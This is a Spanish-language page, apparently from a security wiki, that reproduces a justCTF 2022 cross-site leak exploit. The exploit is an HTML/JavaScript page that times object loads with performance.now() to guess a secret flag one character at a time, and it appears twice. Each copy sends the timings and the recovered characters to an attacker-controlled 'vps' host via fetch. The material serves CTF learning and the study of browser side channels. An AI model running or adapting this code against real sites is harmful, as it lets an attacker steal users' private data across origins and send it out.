performance.now + Force heavy task

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Exploit tomado de https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

En este desafío, el usuario podía enviar miles de caracteres y si la bandera estaba contenida, los caracteres serían devueltos al bot. Así que al poner una gran cantidad de caracteres, el atacante podía medir si la bandera estaba contenida en la cadena enviada o no.

Inicialmente, no establecí el ancho y la altura del objeto, pero más tarde descubrí que es importante porque el tamaño predeterminado es demasiado pequeño para hacer una diferencia en el tiempo de carga.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')

function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}

function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'

async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}

found /= 3
notFound /= 3

send('found flag:'+found)
send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)

if (notFound > found) {
return
}

// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()

</script>
</body>

</html>

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Previousperformance.now example NextEvent Loop Blocking + Lazy images

Last updated 5 months ago

<!DOCTYPE html> <html> <head> </head> <body> <img src="https://deelay.me/30000/https://example.com"> <script> fetch('https://deelay.me/30000/https://example.com') function send(data) { fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1) } function leak(char, callback) { return new Promise(resolve => { let ss = 'just_random_string' let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); }) } send('start') let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{' async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') } found /= 3 notFound /= 3 send('found flag:'+found) send('not found flag:'+notFound) let threshold = found - ((found - notFound)/2) send('threshold:'+threshold) if (notFound > found) { return } // exploit while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } } main() </script> </body> </html>